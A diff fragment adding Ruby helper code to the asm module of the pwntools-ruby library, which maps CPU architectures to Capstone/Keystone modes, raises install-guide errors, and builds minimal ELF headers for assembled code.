+
219
+ def cs_mode
220
+ case context.arch
221
+ when 'aarch64' then Crabstone::MODE_ARM
222
+ when 'amd64' then Crabstone::MODE_64
223
+ when 'arm' then Crabstone::MODE_ARM
224
+ when 'i386' then Crabstone::MODE_32
225
+ when 'mips' then Crabstone::MODE_MIPS32
226
+ when 'mips64' then Crabstone::MODE_MIPS64
227
+ when 'powerpc64' then Crabstone::MODE_64
228
+ when 'sparc' then 0 # default mode
229
+ when 'sparc64' then Crabstone::MODE_V9
230
+ when 'thumb' then Crabstone::MODE_THUMB
231
+ end | (context.endian == 'big' ? Crabstone::MODE_BIG_ENDIAN : Crabstone::MODE_LITTLE_ENDIAN)
232
+ end
233
+
234
+ def ks_arch
235
+ case context.arch
236
+ when 'aarch64' then KeystoneEngine::KS_ARCH_ARM64
237
+ when 'amd64', 'i386' then KeystoneEngine::KS_ARCH_X86
238
+ when 'arm', 'thumb' then KeystoneEngine::KS_ARCH_ARM
239
+ when 'mips', 'mips64' then KeystoneEngine::KS_ARCH_MIPS
240
+ when 'powerpc', 'powerpc64' then KeystoneEngine::KS_ARCH_PPC
241
+ when 'sparc', 'sparc64' then KeystoneEngine::KS_ARCH_SPARC
242
+ else unsupported!("Asm on architecture #{context.arch.inspect} is not supported yet.")
243
+ end
244
+ end
245
+
246
+ def ks_mode
247
+ case context.arch
248
+ when 'aarch64' then 0 # default mode
249
+ when 'amd64' then KeystoneEngine::KS_MODE_64
250
+ when 'arm' then KeystoneEngine::KS_MODE_ARM
251
+ when 'i386' then KeystoneEngine::KS_MODE_32
252
+ when 'mips' then KeystoneEngine::KS_MODE_MIPS32
253
+ when 'mips64' then KeystoneEngine::KS_MODE_MIPS64
254
+ when 'powerpc' then KeystoneEngine::KS_MODE_PPC32
255
+ when 'powerpc64' then KeystoneEngine::KS_MODE_PPC64
256
+ when 'sparc' then KeystoneEngine::KS_MODE_SPARC32
257
+ when 'sparc64' then KeystoneEngine::KS_MODE_SPARC64
258
+ when 'thumb' then KeystoneEngine::KS_MODE_THUMB
259
+ end | (context.endian == 'big' ? KeystoneEngine::KS_MODE_BIG_ENDIAN : KeystoneEngine::KS_MODE_LITTLE_ENDIAN)
260
+ end
261
+
262
+ # FFI is used in keystone and capstone binding gems, this method handles when libraries not installed yet.
263
+ def require_message(lib, msg)
264
+ require lib
265
+ rescue LoadError => e
266
+ raise ::Pwnlib::Errors::DependencyError, "#{e.message}\n\n#{msg}"
267
+ end
268
+
269
+ def install_crabstone_guide
270
+ <<-EOS
271
+ #disasm depends on capstone, which is detected not installed yet.
272
+ Checkout the following link for installation guide:
273
+
274
+ http://www.capstone-engine.org/documentation.html
275
+
276
+ EOS
277
+ end
278
+
279
+ def install_keystone_guide
280
+ <<-EOS
281
+ #asm depends on keystone, which is detected not installed yet.
282
+ Checkout the following link for installation guide:
283
+
284
+ https://github.com/keystone-engine/keystone/tree/master/docs
285
+
286
+ EOS
287
+ end
288
+
289
+ # build headers according to context.arch/bits/endian
290
+ def create_elf_headers(vma)
291
+ elf_header = create_elf_header
292
+ # we only need one LOAD segment
293
+ program_header = create_program_header(vma)
294
+ elf_header.e_phentsize = program_header.num_bytes
295
+ elf_header.e_phnum = 1
296
+ {
297
+ elf_header: elf_header,
298
+ program_header: program_header
299
+ }
300
+ end
301
+
302
+ def create_elf_header
303
+ header = ::ELFTools::Structs::ELF_Ehdr.new(endian: endian)
304
+ # this decide size of entries
305
+ header.elf_class = context.bits
306
+ header.e_ident.magic = ::ELFTools::Constants::ELFMAG
307
+ header.e_ident.ei_class = { 32 => 1, 64 => 2 }[context.bits]
308
+ header.e_ident.ei_data = { little: 1, big: 2 }[endian]
309
+ # Not sure what version field means, seems it can be any value.
310
+ header.e_ident.ei_version = 1
311
+ header.e_ident.ei_padding = "\x00" * 7
312
+ header.e_type = ::ELFTools::Constants::ET::ET_EXEC
313
+ header.e_machine = e_machine
314
+ # XXX(david942j): is header.e_flags important?
315
+ header.e_ehsize = header.num_bytes
316
+ header
317
+ end
318
+
319
+ def create_program_header(vma)
320
+ header = ::ELFTools::Structs::ELF_Phdr[context.bits].new(endian: endian)
321
+ header.p_type = ::ELFTools::Constants::PT::PT_LOAD
322
+ header.p_offset = 0
323
+ header.p_vaddr = vma
324
+ header.p_paddr = vma
325
+ header.p_flags = 4 | 2 | 1 # rwx
326
+ header.p_align = arch_align
327
+ header
328
+ end
329
+
330
+ # Not sure how this field is used, remove this if it is not important.
331
+ # This table is collected by cross-compiling and see the align in LOAD segment.
332
+ def arch_align
333
+ case context.arch.to_sym
334
+ when :i386, :amd64 then 0x1000
335
+ when :arm then 0x8000
336
+ end
337
+ end
338
+
339
+ def e_machine
340
+ const = ARCH_EM[context.arch.to_sym]
341
+ unsupported!("Unknown machine type of architecture #{context.arch.inspect}.") if const.nil?
342
+
343
+ ::ELFTools::Constants::EM.const_get("EM_#{const}")
344
+ end
345
+
346
+ def endian
347
+ context.endian.to_sym
348
+ end
349
+
350
+ def unsupported!(msg)
351
+ raise ::Pwnlib::Errors::UnsupportedArchError, msg
352
+ end
353
+
354
+ include ::Pwnlib::Context
355
+ end
356
+ end
357
+ end